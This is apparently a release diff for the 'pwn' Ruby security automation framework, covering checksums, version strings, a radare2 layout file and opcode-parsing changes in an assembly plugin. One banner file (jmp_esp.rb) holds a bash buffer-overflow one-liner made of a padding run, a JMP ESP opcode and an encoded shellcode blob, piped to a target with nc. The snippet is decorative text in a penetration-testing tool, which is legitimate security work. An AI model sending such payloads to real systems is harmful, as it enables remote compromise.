pwn 0.5.35 → 0.5.37

checksums.yaml

@@ -1,7 +1,7 @@
 ---
 SHA256:
-  metadata.gz: 8f41a4c6cbab245a2f57337769fd1ea372c76c23e4a6201f5537ebe7b0490d11
-  data.tar.gz: 331cdf2b24514db9a043d86d0694973320fbcebed6b2921e25287ca196c3d9b6
+  metadata.gz: bb526bdd28c2934926712cd69973337e9a3736350a1b914f5c3233dd2f7584d7
+  data.tar.gz: b808fff5507ebb35d94f535a196679ff95ff41255ed509efd2fe465aacefc500
 SHA512:
-  metadata.gz: 7c3c16d7e8e78092772c587dcb25203d33fc56d055f436e11683c255281ff7c26073d1abf1dde98cb4a89c8f9ca244431d0cf7d740af90e05b2324de274b9b2c
-  data.tar.gz: 8150d8a01bd4c416a34910e1d52c431362232e1b1f1f22252e60ffbece533ad8809f9e8a4b2b93e607a7ae9c54dd031ab01b38057480c7da3daf07d84062b56b
+  metadata.gz: 9218c49c6d11ff327daa6b40c57753ea5a5ce5d84915c79369f822b03101cdc14fb6e4641ab91b6a8a6765fb59a5431b8739af7088d84eb06138597c5351d5d2
+  data.tar.gz: 32e89872dc6d39000bf9bb50abcc581a4387db007d137ef613b90b8516c3d0153e54cb40d922254c58b737a5705dca593a76935c6031ea2783fe26f26cfdbb88

data/README.md

@@ -37,7 +37,7 @@ $ cd /opt/pwn
 $ ./install.sh
 $ ./install.sh ruby-gem
 $ pwn
-pwn[v0.5.35]:001 >>> PWN.help
+pwn[v0.5.37]:001 >>> PWN.help
 ```
 
 [![Installing the pwn Security Automation Framework](https://raw.githubusercontent.com/0dayInc/pwn/master/documentation/pwn_install.png)](https://youtu.be/G7iLUY4FzsI)
@@ -52,7 +52,7 @@ $ rvm use ruby-3.3.0@pwn
 $ gem uninstall --all --executables pwn
 $ gem install --verbose pwn
 $ pwn
-pwn[v0.5.35]:001 >>> PWN.help
+pwn[v0.5.37]:001 >>> PWN.help
 ```
 
 If you're using a multi-user install of RVM do:
@@ -62,7 +62,7 @@ $ rvm use ruby-3.3.0@pwn
 $ rvmsudo gem uninstall --all --executables pwn
 $ rvmsudo gem install --verbose pwn
 $ pwn
-pwn[v0.5.35]:001 >>> PWN.help
+pwn[v0.5.37]:001 >>> PWN.help
 ```
 
 PWN periodically upgrades to the latest version of Ruby which is reflected in `/opt/pwn/.ruby-version`.  The easiest way to upgrade to the latest version of Ruby from a previous PWN installation is to run the following script:

data/lib/pwn/banner/jmp_esp.rb

@@ -12,10 +12,10 @@ module PWN
       public_class_method def self.get
         '
         #!/bin/bash
-        nop=$(printf \'\x90%.0s\' {1..1337})
+        crash=$(printf \'\x90%.0s\' {1..1337})
         asm_ops=\'\xff\xe4\'
         sh_code=\'\x6a\x14\x59\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x0c\x09\x11\xb5\x83\xeb\xfc\xe2\xf4\x3d\xd2\xe6\x56\x5f\x4a\x42\xdf\x0e\x80\xf0\x05\x6a\xc4\x91\xee\x52\x5b\x79\xb7\x0c\x0c\x28\xdf\x1c\x58\x41\x3c\xed\x63\x77\xed\xc1\x89\x98\xf4\x08\xba\x15\x05\x6a\xc4\x91\xf6\xbc\x6f\xdc\x35\x9f\x50\x7b\x8a\x54\xc4\x91\xfc\x75\xf1\x79\x9a\x23\x7a\x79\xdd\x23\x6b\x78\xdb\x85\xea\x41\xe6\x85\xe8\xa1\xbe\xc1\x89\x11\xb5\'
-        pwn="${nop}${asm_ops}${sh_code}"
+        pwn="${crash}${sh_code}${asm_ops}"
         echo -en $pwn | nc $TARGET $PORT
         '.red
       rescue StandardError => e

data/lib/pwn/banner/radare2.rb

@@ -11,15 +11,9 @@ module PWN
 
       public_class_method def self.get
         '
-        $ sudo r2 -d `pidof ${TARGET_BINARY}`
-        [0x7f000070776e]> aaaa
-        [0x7f000070776e]> ia ~..
-        [0x7f000070776e]> afl ~..
-        [0x7f000070776e]> db main
-        [0x7f000070776e]> db
-        [0x7f000070776e]> dc
-        [0x7f000070776e]> pdg
-        [0x7f000070776e]> v
+        $ target_arm_bin="/usr/bin/id";
+        $ alias r2="setarch $(uname -m) -R r2 -AA -c \"v /opt/pwn/third_party/r2-pwn-layout\""
+        $ r2 -c "db (0x`readelf -S $target_arm_bin | grep text | awk "{print $NF}"`)+0x4+0x00000328" -c "ood" -c "dc" -c "v" $target_arm_bin
         '.yellow
       rescue StandardError => e
         raise e

data/lib/pwn/plugins/assembly.rb

@@ -1,6 +1,8 @@
 # frozen_string_literal: true
 
+require 'cgi'
 require 'metasm'
+require 'tempfile'
 
 module PWN
   module Plugins
@@ -20,7 +22,7 @@ module PWN
 
         raise 'ERROR: opcodes parameter is required.' if opcodes.nil?
 
-        case arch
+        case arch.to_s.downcase
         when 'i386', 'i686', 'x86'
           arch_obj = Metasm::Ia32.new(endian)
         when 'amd64', 'x86_64'
@@ -33,19 +35,30 @@ module PWN
           raise "Unsupported architecture: #{arch}"
         end
 
-        # TOOD: Still needs a fix if opcodes is passed in as:
+        # TOOD: Still needs a fix if opcodes are passed in as:
         # '\x90\x90\x90' (not to be confused w/ "\x90\x90\x90")
         # '909090'
         opcodes_orig_len = opcodes.length
-        opcodes = opcodes.map { |code| [code].pack('H*') }.join if opcodes.is_a?(Array)
-        opcodes.delete!('\x') if opcodes.include?('\x')
-        opcodes.delete!('"') if opcodes.include?('"')
-        opcodes.delete!("'") if opcodes.include?("'")
-        opcodes.delete!(',') if opcodes.include?(',')
-        opcodes.delete!("\s") if opcodes.include?("\s")
-
+        opcodes = opcodes.join(',') if opcodes.is_a?(Array)
+        opcodes = CGI.escape(opcodes)
+        # puts opcodes.inspect
+        # Doesnt work with sommething like: "'ff', 'e4'"
+        # known to work with:
+        # 'ffe4'
+        # 'ff,e4'
+        # "ff,e4"
+        # ['ff', 'e4']
+        # ["ff", "e4"]
+        # '\xff\xe4'
+        # "\xff\xe4"
+        opcodes.delete!('%5Cx') if opcodes.include?('%5Cx')
+        opcodes.delete!('%2C') if opcodes.include?('%2C')
+        opcodes.delete!('%22') if opcodes.include?('%22')
+        opcodes.delete!('%27') if opcodes.include?('%27')
+        opcodes.delete!('+') if opcodes.include?('+')
+        opcodes.delete!('%') if opcodes.include?('%')
         # puts opcodes.inspect
-        opcodes = [opcodes].pack('H*') if opcodes.length.even? && opcodes.length != opcodes_orig_len
+        opcodes = [opcodes].pack('H*')
         # puts opcodes.inspect
 
         Metasm::Shellcode.disassemble(arch_obj, opcodes).to_s
@@ -65,9 +78,11 @@ module PWN
         arch = opts[:arch] ||= PWN::Plugins::DetectOS.arch
         endian = opts[:endian] ||= :little
 
+        asm_tmp = Tempfile.new('pwn_asm')
+
         raise 'ERROR: asm parameter is required.' if asm.nil?
 
-        case arch
+        case arch.to_s.downcase
         when 'i386', 'i686', 'x86'
           arch_obj = Metasm::Ia32.new(endian)
         when 'amd64', 'x86_64'

data/lib/pwn/version.rb

@@ -1,5 +1,5 @@
 # frozen_string_literal: true
 
 module PWN
-  VERSION = '0.5.35'
+  VERSION = '0.5.37'
 end

data/third_party/r2-pwn-layout

@@ -0,0 +1 @@
+{"Title":"Disassembly","Cmd":"pd","x":0,"y":1,"w":100,"h":38},{"Title":"Stack","Cmd":"pxq 256","x":0,"y":39,"w":100,"h":16},{"Title":"Hexdump","Cmd":"xc $r*16","x":0,"y":55,"w":100,"h":16},{"Title":"Registers","Cmd":"dr","x":100,"y":1,"w":35,"h":70},{"Title":"Function Calls","Cmd":"aflm","x":135,"y":1,"w":44,"h":70}

metadata

@@ -1,14 +1,14 @@
 --- !ruby/object:Gem::Specification
 name: pwn
 version: !ruby/object:Gem::Version
-  version: 0.5.35
+  version: 0.5.37
 platform: ruby
 authors:
 - 0day Inc.
 autorequire:
 bindir: bin
 cert_chain: []
-date: 2024-02-25 00:00:00.000000000 Z
+date: 2024-02-26 00:00:00.000000000 Z
 dependencies:
 - !ruby/object:Gem::Dependency
   name: activesupport
@@ -2185,6 +2185,7 @@ files:
 - spec/spec_helper.rb
 - third_party/.gitkeep
 - third_party/http-request-headers-fields-large.txt
+- third_party/r2-pwn-layout
 - update_pwn.sh
 - upgrade_ruby.sh
 - vagrant/provisioners/apache2.sh